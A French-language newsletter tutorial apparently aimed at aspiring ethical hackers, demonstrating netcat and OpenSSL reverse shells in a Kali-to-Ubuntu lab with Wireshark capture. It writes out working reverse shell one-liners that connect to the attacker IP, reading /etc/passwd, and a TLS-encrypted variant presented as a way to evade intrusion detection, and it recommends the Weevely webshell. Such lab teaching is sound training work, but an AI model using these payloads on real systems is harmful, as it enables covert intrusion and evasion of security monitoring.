Aujourd'hui, on va parler de Reverse Shell et Bind Shell, des techniques souvent utilisées dans le cadre de la cybersécurité offensive. Elles sont au cœur de nombreuses attaques réseau et permettent à un attaquant de prendre le contrôle d'une machine distante. Mais avant d'aller plus loin, il est essentiel de rappeler que ces techniques peuvent être dangereuses et illégales si mal utilisées. L'objectif ici est uniquement éducatif.
Reverse Shell – Qu'est-ce que c'est ?
Le principe d'un Reverse Shell est simple : au lieu de forcer une machine à accepter une connexion (comme avec un Bind Shell), c'est la machine compromise (la victime) qui initie la connexion vers l'attaquant. Ce processus a plusieurs avantages. D'abord, comme il s'agit d'une connexion sortante depuis la victime, il contourne souvent les restrictions des pare-feu. Ces derniers bloquent généralement les connexions entrantes, mais laissent les connexions sortantes intactes, surtout si elles passent par des ports couramment utilisés comme 80 (HTTP), 443 (HTTPS), ou 53 (DNS).
Comment fonctionne un Reverse Shell ?
L'attaquant met en place un "listener", un programme en attente de connexion sur un port donné (ex. 4444) avec un outil comme Netcat.
La victime exécute un script malveillant qui initie une connexion vers l'IP de l'attaquant.
Une fois la connexion établie, l'attaquant prend le contrôle de la machine victime, lui permettant d'exécuter des commandes distantes.
Exemple simple avec Netcat :
Sur la machine attaquante :
nc -lvp 4444
Sur la machine victime :
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc [IP de l'attaquant] 4444 > /tmp/f
Après cette commande, l'attaquant a un accès shell à la machine victime.
Bind Shell – Une approche différente
Le Bind Shell fonctionne à l'inverse : ici, c'est la machine compromise qui écoute sur un port spécifique et attend une connexion de l'attaquant. Pour que cela fonctionne, l'attaquant doit avoir un accès direct à l'IP publique de la victime, ce qui peut être plus difficile à réaliser dans des environnements protégés par des pare-feu ou des NATs.
Un Bind Shell est souvent utilisé lorsqu'un attaquant a déjà un pied dans la machine via une backdoor ou une faille critique. Il est également possible d'utiliser un "web shell" pour des applications web vulnérables, où l'attaquant exécute des commandes à travers un site compromis.
Pourquoi chiffrer un Reverse Shell ?
Les reverse shells non chiffrés sont vulnérables aux attaques de type "man-in-the-middle". Toute personne interceptant le trafic réseau pourrait voir les commandes en clair et potentiellement prendre le contrôle de la connexion. Avec l'avènement des systèmes de détection d'intrusion (IDS), le chiffrement est devenu une étape nécessaire pour échapper à la surveillance réseau.
En utilisant un shell chiffré, comme celui basé sur OpenSSL, vous pouvez sécuriser les communications entre l'attaquant et la victime. Ce type de shell utilise TLS (Transport Layer Security), le même protocole qui protège les connexions web.
Exemple d'un Reverse Shell chiffré :
Sur la machine attaquante :
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -key key.pem -cert cert.pem -port 4444
Sur la machine victime :
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect [IP de l'attaquant]:4444 > /tmp/s; rm /tmp/s
Avec cette méthode, tout le trafic est chiffré, ce qui rend beaucoup plus difficile la détection par un IDS ou une équipe de sécurité.
Environnement
Dans cette section, nous allons examiner le processus de création d'un reverse shell classique, sans chiffrement, ainsi que les outils utilisés pour l'analyse du trafic réseau.
Attaquant : Kali Linux (192.168.130.128/24)
Outils utilisés :
Wireshark pour l'analyse du réseau.
Netcat pour la mise en place d'un reverse shell non chiffré.
OpenSSL pour la version chiffrée (que nous verrons plus tard).
Victime : Ubuntu (192.168.130.133/24)
Reverse Shell "Normal"
Voyons maintenant comment configurer un reverse shell simple en utilisant Netcat.
A. Machine Attaquante (Kali Linux)
Sur la machine Kali, l'attaquant configure un "listener" avec la commande suivante :
nc -lvp 4444
Explication :
nc
(Netcat) écoute sur le port 4444 et attend une connexion.En parallèle, utilisez Wireshark pour capturer le trafic réseau. Appliquez un filtre pour vous concentrer uniquement sur les paquets qui circulent sur le port 4444 :
tcp.port == 4444
Cela permet d'isoler les paquets et d'améliorer la lisibilité des échanges.
B. Machine Victime (Ubuntu)
Sur la machine victime, exécutez ce payload malveillant :
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.130.128 4444 >/tmp/f
Ce code effectue les actions suivantes :
Supprime tout fichier temporaire déjà existant
/tmp/f
.Crée un nœud spécial
/tmp/f
de type FIFO (pipe nommé).Redirige les entrées/sorties (
/bin/sh -i 2>&1
) de manière à envoyer les commandes et les réponses à la machine attaquante via Netcat.
Une fois la commande exécutée, une connexion est établie entre la machine victime et l'attaquant.
Vérification sur Kali
Sur la machine attaquante (Kali), vous observerez que le reverse shell s'est bien établi. Vous pouvez maintenant exécuter des commandes sur la machine victime.
Exemple : L'attaquant exécute la commande suivante pour lire le fichier des utilisateurs sur la machine victime :
cat /etc/passwd
Analyse du trafic avec Wireshark
En utilisant Wireshark, vous pouvez observer le trafic réseau entre Kali et Ubuntu. Les données sont envoyées en clair, ce qui rend l'attaque facilement détectable par un IDS (Intrusion Detection System).
Capture du fichier
/etc/passwd
:Le fichier est trop volumineux pour être contenu dans un seul paquet, il est donc divisé en plusieurs segments.
Les deux segments montrent clairement les données du fichier
/etc/passwd
, ce qui met en évidence le fait que les échanges ne sont pas sécurisés et peuvent être interceptés par un attaquant ou un analyste réseau.
VI. Reverse shell chiffré – Démonstration
L'utilisation d'un reverse shell chiffré permet de sécuriser les communications entre l'attaquant et la victime, rendant les échanges illisibles pour un IDS. Bien que des outils préexistants facilitent la création de tels shells, il est instructif d'en concevoir un soi-même pour mieux comprendre les principes.
A. Machine Attaquant (Kali Linux)
Création d'un dossier de travail :
mkdir test && cd test
Génération d'un certificat et d'une paire de clés RSA avec OpenSSL :
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Cette commande génère un certificat auto-signé valable 365 jours ainsi qu'une clé privée non chiffrée.
Création d'un listener chiffré avec OpenSSL :
openssl s_server -key key.pem -cert cert.pem -port 4444
Ici,
openssl s_server
est utilisé pour écouter sur le port 4444 en utilisant le certificat et la clé générés.Analyse réseau avec Wireshark : Comme précédemment, utilisez Wireshark pour capturer le trafic réseau sur le port 4444, en appliquant le filtre suivant :
tcp.port == 4444
B. Machine Victime (Ubuntu)
Sur la machine victime, exécutez le payload suivant pour initier une connexion chiffrée vers l'attaquant :
mkfifo /tmp/s;/bin/sh -i</tmp/s 2>&1|openssl s_client -quiet -connect 192.168.130.128:4444>/tmp/s 2>/dev/null;rm /tmp/s
Explication :
Crée un fichier spécial FIFO
/tmp/s
.Exécute un shell interactif redirigeant ses sorties vers OpenSSL qui se connecte à la machine attaquante.
La communication est sécurisée via le protocole TLS v1.2, rendant les échanges illisibles.
Supprime le fichier temporaire
/tmp/s
après exécution.
C. Capture du trafic chiffré (Wireshark)
Sur Wireshark, vous observerez que les paquets échangés entre la machine victime et l'attaquant sont chiffrés. Contrairement au reverse-shell classique, les instructions et les réponses sont incompréhensibles car protégées par TLS v1.2. Cette couche de chiffrement permet d'échapper à la détection des dispositifs de sécurité tels que les IDS.
C. Contexte réel
Une démonstration vidéo montre le processus complet d'utilisation d'un reverse shell chiffré sur une machine virtuelle avec un serveur web, illustrant chaque étape.
VII. Bonus – Utilisation d'un Webshell chiffré
Pour ceux intéressés par les webshells, un outil populaire est Weevely, codé en PHP, qui chiffre automatiquement les données échangées entre l'attaquant et l'application web. Ce tool est particulièrement utile dans un contexte de cybersécurité offensive.
Note : Weevely n'est pas compatible avec PHP 8 à la date de cet article, mais une solution temporaire est disponible sur GitHub : Workaround pour PHP 8 sur Weevely.
Dans LaFormationCyber, vous découvrirez une mine d'informations bien plus riche que ce que cette newsletter peut offrir.
Vous y trouverez des mises en pratique plus poussées sur les binds et reverses-shells !
Dans la prochaine newsletter, tu en apprendras plus sur, comment faire un remote accès trojan, car pas eu le temps de le faire ici, c’est déjà trop long !
On utilisera ce qu’on a vu dans ce post, plus deux trois outils en plus !
À la semaine prochaine, Neo.
Tu aimerais te former à la cybersécurité pour devenir un hacker éthique ou le Cybersecurity Champion de ton équipe ?
Rejoins la formation spécialisée en hacking en cliquant ici.